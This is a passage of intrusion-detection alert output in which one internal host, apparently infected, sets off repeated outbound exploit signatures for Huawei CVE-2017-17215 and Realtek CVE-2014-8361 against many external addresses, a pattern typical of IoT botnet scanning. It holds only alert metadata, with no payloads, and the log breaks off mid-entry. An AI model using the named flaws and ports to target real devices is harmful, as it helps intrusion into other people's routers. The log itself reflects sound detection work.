ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 212.103.36.245

Timestamp:	2024-07-20T23:10:41.674250+0200
SID:	2835222
Source Port:	44498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.87.201.136

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	54702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.123.206.73

Timestamp:	2024-07-20T23:10:40.944199+0200
SID:	2835222
Source Port:	47154
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.247.243.177

Timestamp:	2024-07-20T23:10:41.243831+0200
SID:	2835222
Source Port:	60146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.235.198.119

Timestamp:	2024-07-20T23:10:41.672505+0200
SID:	2835222
Source Port:	55828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.255.77.151

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	33246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.216.252.34

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	44126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.224.103

Timestamp:	2024-07-20T23:10:41.673540+0200
SID:	2835222
Source Port:	51524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.104.229.164

Timestamp:	2024-07-20T23:10:39.511132+0200
SID:	2835222
Source Port:	55870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 85.117.223.133

Timestamp:	2024-07-20T23:10:41.671560+0200
SID:	2835222
Source Port:	47358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.37.222.176

Timestamp:	2024-07-20T23:10:41.241817+0200
SID:	2835222
Source Port:	46468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.129.166.145

Timestamp:	2024-07-20T23:10:39.438615+0200
SID:	2835222
Source Port:	59080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 187.14.16.38

Timestamp:	2024-07-20T23:10:40.940896+0200
SID:	2835222
Source Port:	47964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.1.217.148

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.82.184.104

Timestamp:	2024-07-20T23:10:42.273322+0200
SID:	2835222
Source Port:	57680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.98.237.187

Timestamp:	2024-07-20T23:10:41.682592+0200
SID:	2835222
Source Port:	40388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.17.105.247

Timestamp:	2024-07-20T23:10:39.497131+0200
SID:	2835222
Source Port:	41756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.250.84

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	47874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.149.250

Timestamp:	2024-07-20T23:10:39.511582+0200
SID:	2835222
Source Port:	59668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.174.248.251

Timestamp:	2024-07-20T23:10:40.934142+0200
SID:	2835222
Source Port:	41764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.110.233

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	38590
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.9.58

Timestamp:	2024-07-20T23:10:41.693872+0200
SID:	2835222
Source Port:	43204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.162.113

Timestamp:	2024-07-20T23:10:40.940896+0200
SID:	2835222
Source Port:	47126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.164.89.253

Timestamp:	2024-07-20T23:10:39.503369+0200
SID:	2835222
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.29.91.154

Timestamp:	2024-07-20T23:10:39.463408+0200
SID:	2835222
Source Port:	56722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.252.98

Timestamp:	2024-07-20T23:10:41.671671+0200
SID:	2835222
Source Port:	44318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.135.54.100

Timestamp:	2024-07-20T23:10:41.671757+0200
SID:	2835222
Source Port:	43444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.163.34.232

Timestamp:	2024-07-20T23:10:56.043519+0200
SID:	2835222
Source Port:	41544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.120.250.13

Timestamp:	2024-07-20T23:10:40.935071+0200
SID:	2835222
Source Port:	43004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.219.56.164

Timestamp:	2024-07-20T23:10:41.712950+0200
SID:	2835222
Source Port:	40124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 110.110.225.230

Timestamp:	2024-07-20T23:10:41.682592+0200
SID:	2835222
Source Port:	37580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.251.184.233

Timestamp:	2024-07-20T23:10:41.671543+0200
SID:	2835222
Source Port:	43682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.145.75.170

Timestamp:	2024-07-20T23:10:40.949089+0200
SID:	2835222
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 74.208.48.243

Timestamp:	2024-07-20T23:10:42.284900+0200
SID:	2835222
Source Port:	40564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.158.41.236

Timestamp:	2024-07-20T23:10:52.579502+0200
SID:	2835222
Source Port:	47868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 14.62.43.62

Timestamp:	2024-07-20T23:10:40.939487+0200
SID:	2835222
Source Port:	54458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.211.18

Timestamp:	2024-07-20T23:10:39.497211+0200
SID:	2835222
Source Port:	33022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 140.238.108.223

Timestamp:	2024-07-20T23:10:40.933981+0200
SID:	2835222
Source Port:	52524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 149.205.10.158

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	60562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.152.10.195

Timestamp:	2024-07-20T23:10:40.941539+0200
SID:	2835222
Source Port:	57238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.195.83

Timestamp:	2024-07-20T23:10:41.237255+0200
SID:	2835222
Source Port:	54730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 65.246.66.79

Timestamp:	2024-07-20T23:10:42.286426+0200
SID:	2835222
Source Port:	53108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.44.210.72

Timestamp:	2024-07-20T23:10:39.504391+0200
SID:	2835222
Source Port:	43092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 85.126.23.91

Timestamp:	2024-07-20T23:10:42.708635+0200
SID:	2027339
Source Port:	51780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.243.14

Timestamp:	2024-07-20T23:10:39.449685+0200
SID:	2835222
Source Port:	45790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.55.78.55

Timestamp:	2024-07-20T23:10:39.504391+0200
SID:	2835222
Source Port:	55246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.92.145.86

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	44914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.104.211.49

Timestamp:	2024-07-20T23:10:42.261820+0200
SID:	2835222
Source Port:	53136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.80.153

Timestamp:	2024-07-20T23:10:39.438615+0200
SID:	2835222
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.157.245.144

Timestamp:	2024-07-20T23:10:39.463408+0200
SID:	2835222
Source Port:	57118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 203.39.100.182

Timestamp:	2024-07-20T23:10:42.665921+0200
SID:	2027339
Source Port:	44534
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.105.219.240

Timestamp:	2024-07-20T23:10:39.479428+0200
SID:	2835222
Source Port:	45002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.242.46

Timestamp:	2024-07-20T23:10:41.675412+0200
SID:	2835222
Source Port:	47704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.12.49.40

Timestamp:	2024-07-20T23:10:39.442646+0200
SID:	2835222
Source Port:	51100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.228.189

Timestamp:	2024-07-20T23:10:40.944199+0200
SID:	2835222
Source Port:	39514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.9.212.7

Timestamp:	2024-07-20T23:10:42.272034+0200
SID:	2835222
Source Port:	46134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.240.87.154

Timestamp:	2024-07-20T23:10:53.264106+0200
SID:	2027339
Source Port:	40792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.130.106.175

Timestamp:	2024-07-20T23:10:39.438615+0200
SID:	2835222
Source Port:	58302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.172.222.139

Timestamp:	2024-07-20T23:10:41.671643+0200
SID:	2835222
Source Port:	56374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.217.24.18

Timestamp:	2024-07-20T23:10:39.508504+0200
SID:	2835222
Source Port:	41310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.19.135.245

Timestamp:	2024-07-20T23:10:46.829468+0200
SID:	2835222
Source Port:	56346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.67.87.28

Timestamp:	2024-07-20T23:10:42.273322+0200
SID:	2835222
Source Port:	57716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.151.190.240

Timestamp:	2024-07-20T23:10:41.679495+0200
SID:	2835222
Source Port:	45458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 173.225.79.113

Timestamp:	2024-07-20T23:10:44.629568+0200
SID:	2027339
Source Port:	59420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.18.30

Timestamp:	2024-07-20T23:10:40.946479+0200
SID:	2835222
Source Port:	45884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.16.241.53

Timestamp:	2024-07-20T23:10:41.689073+0200
SID:	2835222
Source Port:	37350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.118.142.72

Timestamp:	2024-07-20T23:10:41.672504+0200
SID:	2835222
Source Port:	35100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.252.36.217

Timestamp:	2024-07-20T23:10:42.282973+0200
SID:	2835222
Source Port:	44894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.64.243

Timestamp:	2024-07-20T23:10:41.689073+0200
SID:	2835222
Source Port:	33158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 116.118.210.76

Timestamp:	2024-07-20T23:10:42.882094+0200
SID:	2027339
Source Port:	54806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.221.144

Timestamp:	2024-07-20T23:10:46.861044+0200
SID:	2835222
Source Port:	40752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.82.205

Timestamp:	2024-07-20T23:10:41.689073+0200
SID:	2835222
Source Port:	54130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.59.180.251

Timestamp:	2024-07-20T23:10:49.403948+0200
SID:	2835222
Source Port:	48432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.59.86.95

Timestamp:	2024-07-20T23:10:42.278984+0200
SID:	2835222
Source Port:	58026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.31.186.62

Timestamp:	2024-07-20T23:10:42.286426+0200
SID:	2835222
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.37.162.85

Timestamp:	2024-07-20T23:10:39.505823+0200
SID:	2835222
Source Port:	36400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.156.141.151

Timestamp:	2024-07-20T23:10:42.248141+0200
SID:	2835222
Source Port:	47218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.52.21.44

Timestamp:	2024-07-20T23:10:39.513590+0200
SID:	2835222
Source Port:	39504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.248.175.173

Timestamp:	2024-07-20T23:10:39.504391+0200
SID:	2835222
Source Port:	52988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.176.162.29

Timestamp:	2024-07-20T23:10:40.934363+0200
SID:	2835222
Source Port:	53176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.216.97.213

Timestamp:	2024-07-20T23:10:44.392579+0200
SID:	2027339
Source Port:	39070
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.57.221.248

Timestamp:	2024-07-20T23:10:42.276191+0200
SID:	2835222
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 8.190.85.240

Timestamp:	2024-07-20T23:10:44.542647+0200
SID:	2027339
Source Port:	58220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.175.193.56

Timestamp:	2024-07-20T23:10:41.672972+0200
SID:	2835222
Source Port:	51626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.228.120

Timestamp:	2024-07-20T23:10:40.936245+0200
SID:	2835222
Source Port:	33364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.108.209.169

Timestamp:	2024-07-20T23:10:39.492375+0200
SID:	2835222
Source Port:	55066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 13.252.226.77

Timestamp:	2024-07-20T23:10:39.441039+0200
SID:	2835222
Source Port:	47674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 13.3.106.56

Timestamp:	2024-07-20T23:10:40.373501+0200
SID:	2027339
Source Port:	54092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.103.136.234

Timestamp:	2024-07-20T23:10:40.946479+0200
SID:	2835222
Source Port:	37442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.47.44.203

Timestamp:	2024-07-20T23:10:52.111250+0200
SID:	2027339
Source Port:	43186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.244.25.122

Timestamp:	2024-07-20T23:10:39.463407+0200
SID:	2835222
Source Port:	35152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.180.105.213

Timestamp:	2024-07-20T23:10:41.697438+0200
SID:	2835222
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.203.245.203

Timestamp:	2024-07-20T23:10:41.693757+0200
SID:	2835222
Source Port:	56432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.14.238.220

Timestamp:	2024-07-20T23:10:52.594534+0200
SID:	2835222
Source Port:	60842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.108.205.183

Timestamp:	2024-07-20T23:10:41.671524+0200
SID:	2835222
Source Port:	50676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.31.20.54

Timestamp:	2024-07-20T23:10:42.652613+0200
SID:	2027339
Source Port:	43174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.110.199.66

Timestamp:	2024-07-20T23:10:41.697438+0200
SID:	2835222
Source Port:	59968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.54.12.174

Timestamp:	2024-07-20T23:10:41.671560+0200
SID:	2835222
Source Port:	36952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.66.206.67

Timestamp:	2024-07-20T23:10:39.487008+0200
SID:	2835222
